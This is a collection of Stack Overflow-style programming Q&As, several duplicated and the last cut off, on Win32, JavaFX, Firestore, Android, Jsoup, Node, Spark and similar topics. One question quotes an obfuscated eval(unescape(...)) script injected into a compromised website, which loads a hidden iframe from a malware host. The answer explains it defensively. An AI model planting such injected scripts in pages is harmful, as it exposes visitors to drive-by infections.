问:
Return convention in windows
I came across this function:

```<code>DWORD WINAPI GetWindowThreadProcessId(
  _In_      HWND    hWnd,
  _Out_opt_ LPDWORD lpdwProcessId
);
</code>```

GetWindowThreadProcessId:

hWnd [in] (Handle to a window)

lpdwProcessId [out, optional]

Return : DWORD.

This is a function that gets as input a handle to a window, and a pointer.

When it returns, *pointer hold the PID of the process which the hWnd belong to.
The return value is the TID of the thread which the hWnd belong to.

What makes MS engineers choose to return the TID as return value, and write the to the address given as a parameter the PID? Why not the other way around? Return PID and write TID? Why not return both in a pointer to a struct which holds struct{TID,PID}?

What govern those choices? is there logic behind it?

答:
Windows are owned by threads and threads are owned by processes.

If you want just the thread ID, you don't want to waste any time getting the process ID.  And if you want the process ID, you're going to have to get the thread ID first.

This maps directly to the GetWindowThreadProcessId API:

If all you need is the thread ID, you can ask for it and not pay the cost of also looking up the process ID (by setting lpdwProcessId to null).

If you need the process ID, then there's no harm in also getting the thread ID, since it's a necessary intermediate step.

So I hope this explains why it returns the TID and indirectly stores the PID through a pointer (and not the other way around).  This should also make it clear why it doesn't return a struct with both values.

Why not have two separate functions:  GetWindowThreadID and GetThreadIDProcessID?  If you need the thread ID, you call the first, and if you need the process ID, you call both.  My guess is that GetWindowThreadProcessId can do the second step a little more efficiently than if you had to do it as a distinct step.

Title: Return convention in windows

Body:
I came across this function:

DWORD WINAPI GetWindowThreadProcessId(
  _In_      HWND    hWnd,
  _Out_opt_ LPDWORD lpdwProcessId
);

GetWindowThreadProcessId:

hWnd [in] (Handle to a window)

lpdwProcessId [out, optional]

Return : DWORD.

This is a function that gets as input a handle to a window, and a pointer.

When it returns, *pointer hold the PID of the process which the hWnd belong to.
The return value is the TID of the thread which the hWnd belong to.

What makes MS engineers choose to return the TID as return value, and write the to the address given as a parameter the PID? Why not the other way around? Return PID and write TID? Why not return both in a pointer to a struct which holds struct{TID,PID}?

What govern those choices? is there logic behind it?


来源: stackexchange

问:
Add FXML file into ControlsFX popup
So I am new to JavaFX and from all the tutorials I've watched and apps I've coded, the entire view is created in the FXML file.

I came across ControlsFX and Im trying to implement the popup feature in it. My question here is; How do I set all the components inside a component to load from an external FXML file?

This is what I tried myself but cant get it to work:

```<code>    PopOver popOver = new PopOver();
    popOver.setArrowLocation(PopOver.ArrowLocation.RIGHT_CENTER);
    popOver.setContentNode(new Label("Test"));
    popOver.setAutoFix(true);
    popOver.setAutoHide(true);
    popOver.setHideOnEscape(true);
    popOver.setDetachable(false);

    Node content = null;

    FXMLLoader fxmlLoader = new FXMLLoader();
    content = (Parent) fxmlLoader.load(getClass().getResourceAsStream("new.fxml"));
    popOver.setContentNode(content);

    popOver.show(new_button);
</code>```

答:
Okay I figured out a solution just in case it might help someone in the future.</p>

```<code>BorderPane p = FXMLLoader.load(getClass().getResource("new.fxml"));
popOver.setContentNode(p);
popOver.show(new_button);
</code>```

ContentLicense: CC BY-SA 3.0

Title: Add FXML file into ControlsFX popup

Body:
So I am new to JavaFX and from all the tutorials I've watched and apps I've coded, the entire view is created in the FXML file.

I came across ControlsFX and Im trying to implement the popup feature in it. My question here is; How do I set all the components inside a component to load from an external FXML file?

This is what I tried myself but cant get it to work:

    PopOver popOver = new PopOver();
    popOver.setArrowLocation(PopOver.ArrowLocation.RIGHT_CENTER);
    popOver.setContentNode(new Label("Test"));
    popOver.setAutoFix(true);
    popOver.setAutoHide(true);
    popOver.setHideOnEscape(true);
    popOver.setDetachable(false);

    Node content = null;

    FXMLLoader fxmlLoader = new FXMLLoader();
    content = (Parent) fxmlLoader.load(getClass().getResourceAsStream("new.fxml"));
    popOver.setContentNode(content);

    popOver.show(new_button);

Body:
Okay I figured out a solution just in case it might help someone in the future.

BorderPane p = FXMLLoader.load(getClass().getResource("new.fxml"));
popOver.setContentNode(p);
popOver.show(new_button);


问:
How to include the document id in Firestore collection in Angular 5
I have this function that gets all the posts and I want to get the id of the post
any idea how to get the id of the post or How to include the id when I add the document to the collection

```<code>get_the_posts(){
    this.Post_collection = this.afs.collection('posts');
    return this.Posts = this.Post_collection.valueChanges();
}
</code>```

That gives me this output:

```<code>[
   { name: 'post 1 name' description: 'post description'},
   { name: 'post 2 name' description: 'post description'},
   { name: 'post 3 name' description: 'post description'},
]
</code>```

And i want this output

```<code>[
   { id: 'm9mggfJtClLCvqeQ', name: 'post 1 name' description: 'post description'},
   { id: 'm9mggfJtCldsadaf', name: 'post 2 name' description: 'post description'},
   { id: 'm9mggfJtCdsasavq', name: 'post 3 name' description: 'post description'},
]
</code>```

答:
.valueChanges() returns only data without any meta data. you can use .snapshotChanges() for that

```<code>this.Post_collection = this.afs.collection('posts');
return this.Posts = this.Post_collection.snapshotChanges().map(actions => {
  return actions.map(a => {
    const data = a.payload.doc.data();
    const id = a.payload.doc.id;
    return { id, ...data };
  });
});
</code>```

also import import { Observable } from 'rxjs/Observable';

For your second question how to add id when pushing data to firestore. try

```<code>//get id from firestore
    let id = this.afs.createId();

    this.post = {
      id:id,
      name:'name',
      description:'description'
    }

    this.afs.collection('posts').doc(id).set(this.post).then();
</code>```

Now you can use .valueChanges() to get the data.

Body:
I have this function that gets all the posts and I want to get the id of the post
any idea how to get the id of the post or How to include the id when I add the document to the collection

get_the_posts(){
    this.Post_collection = this.afs.collection('posts');
    return this.Posts = this.Post_collection.valueChanges();
}

That gives me this output:

[
   { name: 'post 1 name' description: 'post description'},
   { name: 'post 2 name' description: 'post description'},
   { name: 'post 3 name' description: 'post description'},
]

And i want this output

[
   { id: 'm9mggfJtClLCvqeQ', name: 'post 1 name' description: 'post description'},
   { id: 'm9mggfJtCldsadaf', name: 'post 2 name' description: 'post description'},
   { id: 'm9mggfJtCdsasavq', name: 'post 3 name' description: 'post description'},
]

Body:
.valueChanges() returns only data without any meta data. you can use .snapshotChanges() for that

this.Post_collection = this.afs.collection('posts');
return this.Posts = this.Post_collection.snapshotChanges().map(actions => {
  return actions.map(a => {
    const data = a.payload.doc.data();
    const id = a.payload.doc.id;
    return { id, ...data };
  });
});

also import import { Observable } from 'rxjs/Observable';

For your second question how to add id when pushing data to firestore. try

//get id from firestore
    let id = this.afs.createId();

    this.post = {
      id:id,
      name:'name',
      description:'description'
    }

    this.afs.collection('posts').doc(id).set(this.post).then();

Now you can use .valueChanges() to get the data.


问:
open popup on long click of action bar
I want to show the popup menu on longer click of action bar but exactly below where I click.

```<code>toolbar.setOnLongClickListener(new View.OnLongClickListener() {
    @Override
    public boolean onLongClick(View v) {
        PopupMenu popupMenu = new PopupMenu(HomeActivity.this,toolbar);
        popupMenu.getMenuInflater().inflate(R.menu.popup_menu,popupMenu.getMenu());
        popupMenu.setOnMenuItemClickListener(new PopupMenu.OnMenuItemClickListener() {
            @Override
            public boolean onMenuItemClick(MenuItem item) {
                switch (item.getItemId()) {
                    case R.id.device_setting:
                        Toast.makeText(HomeActivity.this, "dev settings", Toast.LENGTH_SHORT).show();
                        break;
                    case R.id.app_update:
                        break;
                    case R.id.wireless_setting:
                        break;
                    case R.id.hide_footer:
                        break;
                }
                return true;
            }
        });
        popupMenu.show();
        return true;
    }
});
</code>```

and popup_menu.xml is below

```<code><?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:id="@+id/device_setting"
        android:title="Device Setting"></item>
    <item android:id="@+id/app_update"
        android:title="App Update"></item>
    <item android:id="@+id/wireless_setting"
        android:title="Wireless Setting"></item>
    <item android:id="@+id/hide_footer"
        android:title="Full Screen"></item>
</menu>
</code>```

screen shot is given below.
I want to open popup exactly below where I click (longer click)on ActionBar. Please help

Image Screenshot

答:
According to your requirement, you just need to use the popup window because is very flexible, I prefer this GitHub library

https://github.com/kakajika/RelativePopupWindow

Here, just need to change the position of the window for example

```<code>popup.showOnAnchor(toolbar, VerticalPosition.BELOW, HorizontalPosition.LEFT);
</code>```

Title: open popup on long click of action bar

Body:
I want to show the popup menu on longer click of action bar but exactly below where I click.

toolbar.setOnLongClickListener(new View.OnLongClickListener() {
    @Override
    public boolean onLongClick(View v) {
        PopupMenu popupMenu = new PopupMenu(HomeActivity.this,toolbar);
        popupMenu.getMenuInflater().inflate(R.menu.popup_menu,popupMenu.getMenu());
        popupMenu.setOnMenuItemClickListener(new PopupMenu.OnMenuItemClickListener() {
            @Override
            public boolean onMenuItemClick(MenuItem item) {
                switch (item.getItemId()) {
                    case R.id.device_setting:
                        Toast.makeText(HomeActivity.this, "dev settings", Toast.LENGTH_SHORT).show();
                        break;
                    case R.id.app_update:
                        break;
                    case R.id.wireless_setting:
                        break;
                    case R.id.hide_footer:
                        break;
                }
                return true;
            }
        });
        popupMenu.show();
        return true;
    }
});

and popup_menu.xml is below

<?xml version="1.0" encoding="utf-8"?>
<menu xmlns:android="http://schemas.android.com/apk/res/android">
    <item android:id="@+id/device_setting"
        android:title="Device Setting"></item>
    <item android:id="@+id/app_update"
        android:title="App Update"></item>
    <item android:id="@+id/wireless_setting"
        android:title="Wireless Setting"></item>
    <item android:id="@+id/hide_footer"
        android:title="Full Screen"></item>
</menu>

screen shot is given below.
I want to open popup exactly below where I click (longer click)on ActionBar. Please help

Image Screenshot

Body:
According to your requirement, you just need to use the popup window because is very flexible, I prefer this GitHub library

https://github.com/kakajika/RelativePopupWindow

Here, just need to change the position of the window for example

popup.showOnAnchor(toolbar, VerticalPosition.BELOW, HorizontalPosition.LEFT);


问:
Auto login on website, stay logged in, and parse with Jsoup (java)
for the last 3 weeks i was to trying to write a programm, which logs onto a website and loops through the pages to filter specific informations (specifis rows/columns of tables). To be fair, this programm is the reason which i though myself coding (in java). I created some kind of an autofiller, which works, but is very slow, since it has to login for every page again. Therefore i was thinking, why my first (following) program isn't working. For some reason im able to log in, but as soon as i switch from the login page to the specific page (which is only accessable when logged in), i am being redirected to the login page.
For the purpose of this question i created a fake account. Maybe someone can help or tell where, where i can read further into this topic. I guess there is a problem with the cookies, though im not sure.</p>

```<code> try {
        String url1 = "https://www.novaragnarok.com/";
        String url2 = "https://www.novaragnarok.com/?module=vending&action=item&id=2499";

        Connection.Response res = Jsoup
            .connect(url1)
            .followRedirects(true)
            .data("username", "stackoverflowww", "password", "stackpw")
            .method(Method.POST)
            .execute();

        Map<String, String> cookies = res.cookies();

        Document doc = Jsoup.connect(url2)
                  .cookies(cookies)
                  .followRedirects(true)
                  .get();

        System.out.println(cookies);
        System.out.println(doc);
    } catch (IOException e) {
        e.printStackTrace();
    }
</code>```

答:
Try this </p>

```<code>String USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" +
        " Chrome/56.0.2924.87 Safari/537.36";

public void parseWebsite(){
    try{
        Connection.Response homepage = Jsoup.connect("https://www.novaragnarok.com/").userAgent(USER_AGENT)
                .method(Connection.Method.GET).timeout(6000).execute();

        Connection.Response login = Jsoup.connect("https://www.novaragnarok.com//?module=account&action=login&return_url=")
                .cookies(homepage.cookies()).data("txtbox", "stackoverflowww")
                .data("password", "stackpw").userAgent(USER_AGENT).method(Connection.Method.POST)
                .timeout(6000).execute();

        Connection.Response url2 = Jsoup.connect("https://www.novaragnarok.com/?module=vending&action=item&id=2499")
                .cookies(login.cookies()).userAgent(USER_AGENT).method(Connection.Method.GET).timeout(6000).execute();

     //Your Code here

    }catch (SocketException e){
        e.printStackTrace();
    }
    catch (UncheckedIOException e){
        e.printStackTrace();
    }
    catch(Exception e){

    }
 }
}
</code>```

Body:
for the last 3 weeks i was to trying to write a programm, which logs onto a website and loops through the pages to filter specific informations (specifis rows/columns of tables). To be fair, this programm is the reason which i though myself coding (in java). I created some kind of an autofiller, which works, but is very slow, since it has to login for every page again. Therefore i was thinking, why my first (following) program isn't working. For some reason im able to log in, but as soon as i switch from the login page to the specific page (which is only accessable when logged in), i am being redirected to the login page.
For the purpose of this question i created a fake account. Maybe someone can help or tell where, where i can read further into this topic. I guess there is a problem with the cookies, though im not sure.

 try {
        String url1 = "https://www.novaragnarok.com/";
        String url2 = "https://www.novaragnarok.com/?module=vending&action=item&id=2499";

        Connection.Response res = Jsoup
            .connect(url1)
            .followRedirects(true)
            .data("username", "stackoverflowww", "password", "stackpw")
            .method(Method.POST)
            .execute();

        Map<String, String> cookies = res.cookies();

        Document doc = Jsoup.connect(url2)
                  .cookies(cookies)
                  .followRedirects(true)
                  .get();

        System.out.println(cookies);
        System.out.println(doc);
    } catch (IOException e) {
        e.printStackTrace();
    }

Body:
Try this

String USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)" +
        " Chrome/56.0.2924.87 Safari/537.36";

public void parseWebsite(){
    try{
        Connection.Response homepage = Jsoup.connect("https://www.novaragnarok.com/").userAgent(USER_AGENT)
                .method(Connection.Method.GET).timeout(6000).execute();

        Connection.Response login = Jsoup.connect("https://www.novaragnarok.com//?module=account&action=login&return_url=")
                .cookies(homepage.cookies()).data("txtbox", "stackoverflowww")
                .data("password", "stackpw").userAgent(USER_AGENT).method(Connection.Method.POST)
                .timeout(6000).execute();

        Connection.Response url2 = Jsoup.connect("https://www.novaragnarok.com/?module=vending&action=item&id=2499")
                .cookies(login.cookies()).userAgent(USER_AGENT).method(Connection.Method.GET).timeout(6000).execute();

     //Your Code here

    }catch (SocketException e){
        e.printStackTrace();
    }
    catch (UncheckedIOException e){
        e.printStackTrace();
    }
    catch(Exception e){

    }
 }
}


问:
This site may be distributing malware ? strange javascript?
```<code><script>eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%
74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%
70%3A%2F%2F%73%65%64%70%6F%6F%2E%63%6F%6D%2F%3F%33%33%38%33%
37%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%
3E%3C%2F%69%66%72%61%6D%65%3E%27%29'));</script>
</code>```

My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

答:
Your site has been compromised by a known entity.  Your page is now serving exploits to your visitors and is putting them at risk.

Take your site down now and refer to: http://safeweb.norton.com/report/show?name=sedpoo.com

```

Threat Report
Total threats found: 4

Drive-By Downloads (what's this?)
Threats found: 3
Here is a complete list: (for more information about a specific threat, click
 on the Threat Name below)
Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?687328

Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?-560137484

Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?2443640

Viruses (what's this?)
Threats found: 1
Here is a complete list: (for more information about a specific threat, click
 on the Threat Name below)
Threat Name:    Trojan.Gen
Location:    http://sedpoo.com/des.jar

```

And: http://www.google.co.uk/safebrowsing/diagnostic?site=sedpoo.com/

```
What is the current listing status for sedpoo.com?
Site is listed as suspicious - visiting this web site may harm your computer.

What happened when Google visited this site?
Of the 1887 pages we tested on the site over the past 90 days, 0 page(s)
 resulted in malicious software being downloaded and installed without user
consent. The last time Google visited this site was on 2011-01-18, and the
last time suspicious content was found on this site was on 2011-01-18.
Malicious software includes 2478 exploit(s), 2135 trojan(s), 1508 scripting
exploit(s).

This site was hosted on 8 network(s) including AS4766 (Korea Telecom),
AS51306 (UAIP), AS5610 (CZECH).

Has this site acted as an intermediary resulting in further distribution
of malware?
Over the past 90 days, sedpoo.com appeared to function as an intermediary
for the infection of 962 site(s) including feja-islame.com/, yaris-club.net/,
cstbilisi.ge/.

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It
infected 2519 domain(s), including yaris-club.net/, feja-islame.com/,
bhiee.net/.

How did this happen?
In some cases, third parties can add malicious code to legitimate sites,
which would cause us to show the warning message.

```

I would not visit the sedpoo attack site until you have further researched the threat and are ready to deal with the potential infections that may ensue.  Spinning up a virtual machine to visit the site is a quick way to further investigate without putting your workstation and data in harms way.

Body:
Your site has been compromised by a known entity.  Your page is now serving exploits to your visitors and is putting them at risk.

Take your site down now and refer to: http://safeweb.norton.com/report/show?name=sedpoo.com

Threat Report
Total threats found: 4

Drive-By Downloads (what's this?)
Threats found: 3
Here is a complete list: (for more information about a specific threat, click
 on the Threat Name below)
Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?687328

Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?-560137484

Threat Name:     HTTP Malicious Toolkit Variant Activity 15
Location:    http://sedpoo.com/?2443640

Viruses (what's this?)
Threats found: 1
Here is a complete list: (for more information about a specific threat, click
 on the Threat Name below)
Threat Name:    Trojan.Gen
Location:    http://sedpoo.com/des.jar

And: http://www.google.co.uk/safebrowsing/diagnostic?site=sedpoo.com/

What is the current listing status for sedpoo.com?
Site is listed as suspicious - visiting this web site may harm your computer.

What happened when Google visited this site?
Of the 1887 pages we tested on the site over the past 90 days, 0 page(s)
 resulted in malicious software being downloaded and installed without user
consent. The last time Google visited this site was on 2011-01-18, and the
last time suspicious content was found on this site was on 2011-01-18.
Malicious software includes 2478 exploit(s), 2135 trojan(s), 1508 scripting
exploit(s).

This site was hosted on 8 network(s) including AS4766 (Korea Telecom),
AS51306 (UAIP), AS5610 (CZECH).

Has this site acted as an intermediary resulting in further distribution
of malware?
Over the past 90 days, sedpoo.com appeared to function as an intermediary
for the infection of 962 site(s) including feja-islame.com/, yaris-club.net/,
cstbilisi.ge/.

Has this site hosted malware?
Yes, this site has hosted malicious software over the past 90 days. It
infected 2519 domain(s), including yaris-club.net/, feja-islame.com/,
bhiee.net/.

How did this happen?
In some cases, third parties can add malicious code to legitimate sites,
which would cause us to show the warning message.

I would not visit the sedpoo attack site until you have further researched the threat and are ready to deal with the potential infections that may ensue.  Spinning up a virtual machine to visit the site is a quick way to further investigate without putting your workstation and data in harms way.

ContentLicense: CC BY-SA 2.5


问:
angular2 mdbootstrap $(...).pickadate is not a function
I have been creating an application using Angular2 and mdbootstrap.
when I call $('.datepicker').pickadate() ,I'm getting the error

```<code>EXCEPTION: $(...).pickadate is not a function
</code>```

app.component.ts

```<code>import {Component, OnInit, AfterViewInit} from '@angular/core';
declare var $: any;
@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent  implements AfterViewInit{
  title = 'app works!';

  ngAfterViewInit() {
    $('.datepicker').pickadate();
  }

}
</code>```

app.component.html

```<code><div class="md-form">
  <input placeholder="Selected date" type="text" id="date-picker-example" class="form-control datepicker">
  <label for="date-picker-example">Try me...</label>
</div>
</code>```

index.html

```<code>  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.3.0/css/mdb.min.css" />
  <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.3.0/js/mdb.min.js"></script>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</code>```

Thanks in advance.

答: I also come across same problem. I take a few hour to find solution. Finally, I find this is because I use MDB free, and some function is not support in free version, such as date-picker, select and so on.You can see differences in MDB website</p>

Body:
I have been creating an application using Angular2 and mdbootstrap.
when I call $('.datepicker').pickadate() ,I'm getting the error

EXCEPTION: $(...).pickadate is not a function

app.component.ts

import {Component, OnInit, AfterViewInit} from '@angular/core';
declare var $: any;
@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent  implements AfterViewInit{
  title = 'app works!';

  ngAfterViewInit() {
    $('.datepicker').pickadate();
  }

}

app.component.html

  <input placeholder="Selected date" type="text" id="date-picker-example" class="form-control datepicker">
  Try me...

index.html

  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mdbootstrap/4.3.0/css/mdb.min.css" />

Thanks in advance.


问:
Requiring modules in node
I was going through this article

Which approach is better requiring the modules at the top of the file or requiring them inside the separate function in the main file where they are used?

```<code>//main file
var stripe = require('stripe');

//inside function of main file
function makePayment(){
   var stripe= require('stripe');
}
</code>```

答:
When called for the first time on a given module file, require() uses synchronous I/O to load the file.  It is designed primarily for use during server initialization because you usually do not want to do synchronous I/O during the regular operation of a server because it can wreck the scalability of your server (due to the single threadedness of node.js Javascript).

As such, the usual convention is to load all your dependencies with require() at module initialization time, not during the normal execution of runtime functions in the module.

So, I'd recommend using:

```<code>const stripe = require('stripe');
</code>```

somewhere near the top of your module file and not inside your function.

Title: Requiring modules in node

Body:
I was going through this article

Which approach is better requiring the modules at the top of the file or requiring them inside the separate function in the main file where they are used?

//main file
var stripe = require('stripe');

//inside function of main file
function makePayment(){
   var stripe= require('stripe');
}

Body:
When called for the first time on a given module file, require() uses synchronous I/O to load the file.  It is designed primarily for use during server initialization because you usually do not want to do synchronous I/O during the regular operation of a server because it can wreck the scalability of your server (due to the single threadedness of node.js Javascript).

As such, the usual convention is to load all your dependencies with require() at module initialization time, not during the normal execution of runtime functions in the module.

So, I'd recommend using:

const stripe = require('stripe');

somewhere near the top of your module file and not inside your function.


问:
redirect urls using htaccess from
I need to redirect urls using htaccess from

http://www.example.com/showthread.php?t=1
to http://www.example.com/threads/1/

and from http://www.example.com/showthread.php?t=1&page=2
to http://www.example.com/threads/1/page-2

答:
You can use below rules :

RewriteEngine On
RewriteBase /

RewriteCond %{REQUEST_URI} ^/showthread\.php$ [NC]
RewriteCond %{QUERY_STRING} ^t=([0-9]+)$ [NC]
RewriteRule ^(.*)$ /thread/%1/ [R=301,L,QSD]

RewriteCond %{REQUEST_URI} ^/showthread\.php$ [NC]
RewriteCond %{QUERY_STRING} ^t=([0-9]+)&page=([0-9]+)$ [NC]
RewriteRule ^(.*)$ /thread/%1/page-%2 [R=301,L,QSD]
```

Title: redirect urls using htaccess from


问:
Laravel - asset() function noy working well
I have a problem with my laravel project.

In my link.blade.php file I have:

```<code><!-- Bootstrap core CSS -->
<link href="{!! asset(css/bootstrap.min.css) !!}" rel="stylesheet">
<link href="{!! asset(css/theme.css) !!}" rel="stylesheet">
<link href="{!! asset(css/bootstrap-reset.css) !!}" rel="stylesheet">
</code>```

and when a run my server I got:

```<code>Use of undefined constant css - assumed 'css' (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php)
</code>```

it's looks like the compiler can't get my css/bootstrap.min.css (located in public dir).

When I've removed this css file it's move to the second one and so on (also js files).

Public dir:
Link

What I should do, please help!!

答:
You Need to Keep css and JS files like this

For More Details https://laracasts.com/discuss/channels/general-discussion/laravels-5-csslink?page=1

Body:
I have a problem with my laravel project.

In my link.blade.php file I have:

<link href="{!! asset(css/bootstrap.min.css) !!}" rel="stylesheet">
<link href="{!! asset(css/theme.css) !!}" rel="stylesheet">
<link href="{!! asset(css/bootstrap-reset.css) !!}" rel="stylesheet">

and when a run my server I got:

Use of undefined constant css - assumed 'css' (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php) (View:
/home/ubuntu/workspace/resources/views/partials/links.blade.php)

it's looks like the compiler can't get my css/bootstrap.min.css (located in public dir).

When I've removed this css file it's move to the second one and so on (also js files).

Public dir:
Link

What I should do, please help!!


问:
Map in a spark dataframe
Using Spark 2.x I'm making use of the dataframes.

```<code>val proposals = spark.read
  .option("header", true)
  .option("inferSchema", true)
  .option("delimiter", ";")
  .csv("/proposals.txt.gz")

proposals.printSchema()
</code>```

which works fine and gives:

```<code>root
 |-- MARKETCODE: string (nullable = true)
 |-- REFDATE: string (nullable = true)
 |-- UPDTIME: string (nullable = true)
 |-- UPDTIMEMSEC: integer (nullable = true)
 |-- ENDTIME: string (nullable = true)
 |-- ENDTIMEMSEC: integer (nullable = true)
 |-- BONDCODE: string (nullable = true)
</code>```

Now I'd like to calculate a time in milliseconds and thus have written a function:

```<code>def time2usecs( time:String, msec:Int )={
    val Array(hour,minute,seconds) = time.split(":").map( _.toInt )
    msec + seconds.toInt*1000 + minute.toInt*60*1000 + hour.toInt*60*60*1000
}
time2usecs( "08:13:44", 111 )

time2usecs: (time: String, msec: Int)Int
res90: Int = 29624111
</code>```

The last peace of the puzzle that would be something like:

```<code>proposals.withColumn( "utime",
  proposals.select("UPDTIME","UPDTIMEMSEC")
    .map( (t,tms) => time2usecs(t,tms) ))
</code>```

But I can't figure out how to do the df.select(column1, column2).map(...) part.

答:
The common approach to using a method on dataframe columns in Spark is to define an UDF (User-Defined Function, see here for more information). For your case:

```<code>import org.apache.spark.sql.functions.udf
import spark.implicits._

val time2usecs = udf((time: String, msec: Int) => {
  val Array(hour,minute,seconds) = time.split(":").map( _.toInt )
  msec + seconds.toInt*1000 + minute.toInt*60*1000 + hour.toInt*60*60*1000
})

val df2 = df.withColumn("utime", time2usecs($"UPDTIME", $"UPDTIMEMSEC"))
</code>```

spark.implicits._ is imported here to allow the use of the $ shorthand for the col() function.

ContentLicense: CC BY-SA 4.0

Title: Map in a spark dataframe

Body:
Using Spark 2.x I'm making use of the dataframes.

val proposals = spark.read
  .option("header", true)
  .option("inferSchema", true)
  .option("delimiter", ";")
  .csv("/proposals.txt.gz")

proposals.printSchema()

which works fine and gives:

root
 |-- MARKETCODE: string (nullable = true)
 |-- REFDATE: string (nullable = true)
 |-- UPDTIME: string (nullable = true)
 |-- UPDTIMEMSEC: integer (nullable = true)
 |-- ENDTIME: string (nullable = true)
 |-- ENDTIMEMSEC: integer (nullable = true)
 |-- BONDCODE: string (nullable = true)

Now I'd like to calculate a time in milliseconds and thus have written a function:

def time2usecs( time:String, msec:Int )={
    val Array(hour,minute,seconds) = time.split(":").map( _.toInt )
    msec + seconds.toInt*1000 + minute.toInt*60*1000 + hour.toInt*60*60*1000
}
time2usecs( "08:13:44", 111 )

time2usecs: (time: String, msec: Int)Int
res90: Int = 29624111

The last peace of the puzzle that would be something like:

proposals.withColumn( "utime",
  proposals.select("UPDTIME","UPDTIMEMSEC")
    .map( (t,tms) => time2usecs(t,tms) ))

But I can't figure out how to do the df.select(column1, column2).map(...) part.

Body:
The common approach to using a method on dataframe columns in Spark is to define an UDF (User-Defined Function, see here for more information). For your case:

import org.apache.spark.sql.functions.udf
import spark.implicits._

val time2usecs = udf((time: String, msec: Int) => {
  val Array(hour,minute,seconds) = time.split(":").map( _.toInt )
  msec + seconds.toInt*1000 + minute.toInt*60*1000 + hour.toInt*60*60*1000
})

val df2 = df.withColumn("utime", time2usecs($"UPDTIME", $"UPDTIMEMSEC"))

spark.implicits._ is imported here to allow the use of the $ shorthand for the col() function.


问:
Event Listener from for each works with just one child
okay so i'm bout to lose my hair have been trying to fix this all day long and always end with the same result ,

what am trying to do is getting data from firebase and that work just fine , the issue is i wanna click on the big box and then get the buttons value from the clicked box it works with the first box and never work with any other box .

```<code>function gotData(data) {

  // got data array
  all = data.val();
  var keys = Object.keys(all);
  if (keys === 'null') { return null;}
  for (var i = 0; i < keys.length; i++) {
    var k = keys[i] ;
    var color1 = all[k].color1;
    var color2 = all[k].color2;
    var color3 = all[k].color3;
    var color4 = all[k].color4;

    var output = '<div id="ProBox"><div id="myBox" class="bigBox animated fadeIn">'+
                      '<div class="top">'+
                        '<div class="box box1" style="background-color: '+ color1 +' "><button id="btnColor1" value="'+ color1 +'"></button></div>'+
                        '<div class="box box2" style="background-color: '+ color2 +' "><button id="btnColor2" value="'+ color2 +'"></button></div>'+
                      '</div>'+
                      '<div class="bootom">'+
                        '<div class="box box3" style="background-color: '+ color3 +' "><button id="btnColor3" value="'+ color3 +'"></button></div>'+
                        '<div class="box box4" style="background-color: '+ color4 +' "><button id="btnColor4" value="'+ color4 +'"></button></div>'+
                      '</div>'+
                    '</div></div>';

    body.innerHTML += output;

    var ProBox = document.getElementById('ProBox');

    Array.prototype.forEach.call(ProBox.children , function(box){
        box.addEventListener('click' , function(){
          console.log(this);
        })
    });

  }
  // end data array

};
</code>```

any help appreciated cheers

答: i fixed buy querySelectorAll to select all of the boxs and then loop into them with for loop and it works just fine </p>

Body:
okay so i'm bout to lose my hair have been trying to fix this all day long and always end with the same result ,

what am trying to do is getting data from firebase and that work just fine , the issue is i wanna click on the big box and then get the buttons value from the clicked box it works with the first box and never work with any other box .

function gotData(data) {

  // got data array
  all = data.val();
  var keys = Object.keys(all);
  if (keys === 'null') { return null;}
  for (var i = 0; i < keys.length; i++) {
    var k = keys[i] ;
    var color1 = all[k].color1;
    var color2 = all[k].color2;
    var color3 = all[k].color3;
    var color4 = all[k].color4;

    var output = '

'+
                      '
'+
                        '
<button id="btnColor1" value="'+ color1 +'"></button>
'+
                        '
<button id="btnColor2" value="'+ color2 +'"></button>
'+
                      '
'+
                      '
'+
                        '
<button id="btnColor3" value="'+ color3 +'"></button>
'+
                        '
<button id="btnColor4" value="'+ color4 +'"></button>
'+
                      '
'+
                    '

';

    body.innerHTML += output;

    var ProBox = document.getElementById('ProBox');

    Array.prototype.forEach.call(ProBox.children , function(box){
        box.addEventListener('click' , function(){
          console.log(this);
        })
    });

  }
  // end data array

};

any help appreciated cheers


问:
ValueError: operands could not be broadcast together with shapes (5,) (30,)
I am trying to merge arrays like this:

If:

```<code>a = [1.2, 1, 3, 4]
b = [0.0 , 0.0]
c = [0.0 , 0.0]
a = a + b + c
</code>```

Then the result should be:

```<code>[0.0 , 0.0 , 1.2 , 1 ,3 ,4 , 0.0 ,0.0]
</code>```

what I do is that extract histogram of array
  and merge it with normal array.

